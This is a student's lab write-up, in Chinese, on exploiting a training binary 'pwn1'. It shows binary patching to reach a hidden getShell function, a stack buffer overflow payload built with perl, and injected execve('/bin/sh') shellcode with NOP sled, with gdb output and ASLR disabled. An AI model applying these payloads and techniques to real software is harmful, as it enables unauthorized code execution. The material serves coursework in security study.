Exp1 PC平台逆向破解
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
1.2 基础知识
Linux基本操作
管道
-
用"|"符号来连接两个命令,以前面命令的标准输出作为后面命令的标准输入,例如ls -l | more:该命令列出当前目录中的任何文档,并把输出送给more命令作为输入,more命令分页显示文件列表。
-
管道命令必须是接受标准输出的命令,
cp
、mv
、ls
都不是管道命令。
输入、输出重定向
- 输入重定向:输入方向就是数据从哪里流向程序。数据默认从键盘流向程序,如果改变了它的方向,数据就从其它地方流入。
- 输出重定向:输出方向就是数据从程序流向哪里。数据默认从程序流向显示器,如果改变了它的方向,数据就流向其它地方。
Bof的原理
NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP
:空指令,机器码0x90
。NOP指令什么也不做,向后面的指令继续执行。JNE
:条件转移指令,机器码0x75
。jump if not equal,不等则跳转。JE
:条件转移指令,机器码0x74
。jump if equal,相等则跳转。JMP
:无条件转移指令,短跳转机器码0xEB
EB,近跳转机器码0xE9
,间接转移机器码0xFF
远跳转机器码0xEA
CMP
:比较指令,机器码0x39
。目标操作数-源操作数,不保存结果
常见寄存器
寄存器 | 名称 | 功能 |
---|---|---|
EAX | 累加(Accumulator)寄存器 | 常用于乘、除法和函数返回值 |
EBX | 基址(Base)寄存器 | 常做内存数据的指针, 或者说常以它为基址来访问内存 |
ECX | 计数器(Counter)寄存器 | 常做字符串和循环操作中的计数器 |
EDX | 数据(Data)寄存器 | 常用于乘、除法和 I/O 指针 |
ESI | 来源索引(Source Index)寄存器 | 常做内存数据指针和源字符串指针 |
EDI | 目的索引(Destination Index)寄存器 | 常做内存数据指针和目的字符串指针 |
ESP | 堆栈指针(Stack Point)寄存器 | 只做堆栈的栈顶指针; 不能用于算术运算与数据传送 |
EBP | 基址指针(Base Point)寄存器 | 只做堆栈指针, 可以访问堆栈内任意地址, 经常用于中转 ESP 中的数据, 也常以它为基址来访问堆栈; 不能用于算术运算与数据传送 |
EIP | 指令指针(Instruction Pointer)寄存器 | 总是指向下一条指令的地址; 所有已执行的指令都被它指向过 |
使用gdb和vi
反汇编
通过反汇编查找含有跳转指令的汇编行,修改该部分的机器代码使之跳转至getShell函数(其中getShell等函数地址也通过反汇编查询)。
-
objdump -d [file]
objdump
是gcc的工具,用于解析二进制目标文件。-d
模式可反汇编文件 -
gdb下
disass [func]
gdb下
disass
可对函数进行反汇编
十六进制编程器
vim打开文件,在命令模式下:%!xxd
可将内容以十六进制形式显示
输入:%!xxd -r
可将内容转化为十六进制的信息转换回二进制显示
2 直接修改程序机器指令,改变程序执行流程
2.1 查看反汇编
运行pwn1文件权限不够,在提升文件权限后运行pwn1_20181214,会回显输入的字符。
使用objdump -d pwn1_20181214 | more
进行反汇编
找到getShell、foo、main函数的指令,发现指令call 8048491 <foo>
,说明main函数在0x80484b5
位置调用了foo函数。
而我们需要调用getShell函数来弹出可用shell。为了调用getShell函数,我们可以直接修改main函数部分的调用foo函数机器指令,使它调用getShell函数。
2.2 计算偏移量
call指令的机器码是e8,而ffffffd7(大端)为call指令的下一条指令地址0x80484ba与foo函数起始地址0x8048491间偏移量的补码。所以我们只需要修改ffffffd7为call指令的下一条指令地址0x80484ba与getShell函数起始地址0x804847d间偏移量的补码即可。
计算得到0xfffffc3,所以将0x80484b5处的指令改为e8c3ffffff即可
2.3 修改机器指令
vim打开pwn1_20181214,命令模式下输入:%!xxd
显示16进制文件输入/e8 d7
指令找到call foo指令位置
更改机器码后切换回命令模式输入:%!xxd -r
转回二进制文件并输入:wq
保存退出
2.4 执行pwn1文件验证
执行文件后得到shell提示符且能在shell下执行ls
命令,说明调用getShell函数成功。
3 通过构造输入参数,造成BOF攻击,改变程序执行流
3.1 反汇编,了解程序的基本功能
观察汇编代码,得知在foo函数执行时,在进行gets输入前会预留0x1c(28)字节大小的缓冲区来存取输入值,但gets函数中并没有进行输入长度检查。而main函数在call foo的同时会将返回地址(原先的EIP)0x80484ba压入栈中,所以如果将getShell函数的入口地址0x804847d覆盖此处,在foo函数执行结束后就会跳转到getShell函数中而不是0x80848ba
3.2 确认输入字符串哪几个字符会覆盖到返回地址
回到原先的pwn1文件,使用gdb调试pwn1
输入r运行,输入1111111122222222333333334444444412345678,1~4共32字节覆盖栈中缓冲区的28字节与EBP(4字节),1234应覆盖返回地址(原先的EIP)0x80484ba。覆盖后由于找不到地址1234,foo执行结束后会报错,此时EIP应为错误的返回地址
输入指令info r
查看寄存器的值,eip为0x34333231,即为1234的ASCII码的小端法表示
3.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0x0804847d。
根据1234对应0x34333231,我们应当输入11111111222222223333333344444444\x7d\x84\x04\x08
3.4 构造输入字符串
由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
可以使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入,通过管道符“|”,作为pwn1的输入。
执行文件后得到shell提示符且能在shell下执行ls
命令,说明调用getShell函数成功。
4. 注入Shellcode并执行
4.1 准备一段Shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
shellcode的编写可参考许同学的文章Shellcode入门(链接已更新),使用该文章中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
设置堆栈可执行,并关闭地址随机化
此次需要安装execstack,由于无法正常安装,需要先下载安装perlink,使用老师给的压缩包进行安装
4.3 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
失败案例
我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
──(root💀lcx20181214)-[~/netclass/Exp1]
└─# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
这段shellcode经填充后有32字节,所以最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。接下来我们来确定\x4\x3\x2\x1到底该填什么
- 打开一个终端注入这段攻击buf:
┌──(root💀lcx20181214)-[~/netclass/Exp1]
└─# (cat input_shellcode;cat) | ./pwn1_20181214
- 查看进程号
┌──(root💀lcx20181214)-[~]
└─# ps -ef | grep pwn
root 2573 2538 0 23:51 pts/0 00:00:00 ./pwn1_20181214
root 2599 2585 0 23:51 pts/1 00:00:00 grep --color=auto pwn
进程号为2573
3. 再开一个终端启动gdb调试这个进程
┌──(root💀lcx20181214)-[~]
└─# gdb
(gdb) attach 2573
Attaching to process 2573
Reading symbols from /root/netclass/Exp1/pwn1_20181214...
(No debugging symbols found in /root/netclass/Exp1/pwn1_20181214)
Reading symbols from /lib32/libc.so.6...
(No debugging symbols found in /lib32/libc.so.6)
Reading symbols from /lib/ld-linux.so.2...
(No debugging symbols found in /lib/ld-linux.so.2)
0xf7fd1559 in __kernel_vsyscall ()
(gdb) disass foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
- 查看栈内地址找到shellcode起始位置
我们需要找到shellcode的起始位置,由于在leave后栈顶指针ESP指向我们注入的\x4\x3\x2\x1,所以我们可以在ret处下断点后,通过esp的地址找到shellcode的起始位置
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.//此时在终端1中按回车
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd12c 0xffffd12c
(gdb) x/16x 0xffffd12c //查看ESP指向的值,发现指向0x01020304所在位置
0xffffd12c: 0x01020304 0xf7fa0000 0xf7fad000 0x00000000
(gdb) x/16x 0xffffd110 //向低地址处寻找,发现shellcode起始地址为0xffffd110
0xffffd110: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0xffffd120: 0x895350e3 0xb0d231e1 0x9080cd0b 0x01020304
0xffffd130: 0xf7fa0000 0xf7fad000 0x00000000 0xf7de6e46
0xffffd140: 0x00000001 0xffffd1e4 0xffffd1ec 0xffffd174
所以将返回地址改为0xffffd110即可
返回地址也是0x01020304,与设想相同
- 注入shellcode,未能成功弹出shell
-
查找原因。
使用相同方法进行gdb调试
重新开始
结构为:anything+retaddr+nops+shellcode。
根据之前的推测,anything有32位。而由于返回地址在0xffffd12c上,所以跳转到旁边的0xffffd130上即可滑至shellcode
┌──(root💀lcx20181214)-[~/netclass/Exp1]
└─# perl -e 'print "A" x 32;print "\x30\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode2
┌──(root💀lcx20181214)-[~/netclass/Exp1]
└─# (cat input_shellcode2;cat) | ./pwn1_20181214
ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���������1�Ph//shh/bin��PS��1Ұ
�
ls
input input_shellcode1 pwn1
input_shellcode input_shellcode2 pwn1_20181214
运行成功
什么是漏洞?漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺陷。常见的漏洞有操作系统漏洞、服务器漏洞、服务器软件漏洞、网页系统漏洞等。
漏洞使攻击者有机会对计算机系统进行攻击,可能会引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
实验收获与感想
之前虽然也实现过缓冲区溢出攻击,但对于栈内数据变化过程的理解始终不够透彻。在本次实验中,通过模型、视频、博客的学习,我对于函数调用时栈内数据变化过程的理解更加深入。在修改机器指令到字符串覆盖地址触发getShell再到构造shellcode攻击的过程中,我对为什么要这样进行攻击的原因有了一定的认识,在必然的失败中也充分明白了两种构造方式的特点。整个实验过程还是比较有趣的。
在实验过程中也遇到了一些问题,如无法找到进程号、无法安装execstack等问题,均在老师和同学们的讨论中得到了解答。希望能够在接下来的学习过程中能够了解到更多的缓冲区溢出攻击知识。
PS:在撰写实验报告时,为了兼顾评分和流程完整,报告以实验指导为基础,使用markdown锚点指向所需呈现的报告内容。